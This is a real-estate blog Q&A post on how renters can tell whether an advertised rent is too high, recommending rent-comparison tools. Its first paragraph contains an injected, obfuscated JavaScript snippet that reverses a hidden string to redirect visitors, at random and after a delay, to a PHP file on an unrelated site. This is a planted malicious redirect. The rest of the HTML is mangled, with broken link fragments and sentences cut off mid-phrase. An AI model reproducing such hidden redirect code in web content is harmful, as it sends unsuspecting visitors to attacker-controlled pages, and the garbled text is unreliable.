Ask a Rental Agent: Am I Paying Too Much Rent?

Ask a Rental Agent: Am I Paying Too Much Rent?

Got a question about renting? Expert$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Homes for Rent” href=”” target=”_blank” rel=”noopener”>The Rental Girl address your concerns.

Question: I’m looking for a rental, but I’m not familiar with the market. How do I know if the advertised rent is too high?

The Rental Girl:  Just like purchasing a home, the value of a rental is subjective and is based on what any given renter at that moment is willing to pay. There are many factors at play: supply and demand, amenities, square footage, layout and very importantly, what feelings the home elicits. For this reason, it is very difficult to measure a rental’s value based on photos and an ad description. Also, there is no comprehensive database available to search rental comps – to see exactly what properties rented for. There are many websites available that will tell you what the average rent is – but these are based on asking prices on active listings, not the negotiated lease amount on rented units. Still, viewing the average rent amount in a specific area will help you determine if you are paying too much or just the right amount. 

Here are my recommendations:

Rent-o-meter  (based on current listings)
andlords/listings” href=”” target=”_blank” rel=”noopener”>The Rental Girl Comps (based on leased properties)andlords/listings” href=”” target=”_blank” rel=”noopener”>
and try this Rent Estimator: (based on current listings)

“Ask a Rental Agent” is a series of helpful Q&A’s brought to you by the lovely real estate agents at and home buyers with all their real estate needs. Do you have a question you would like answered by an agent? Fill out the form below to submit a question to 

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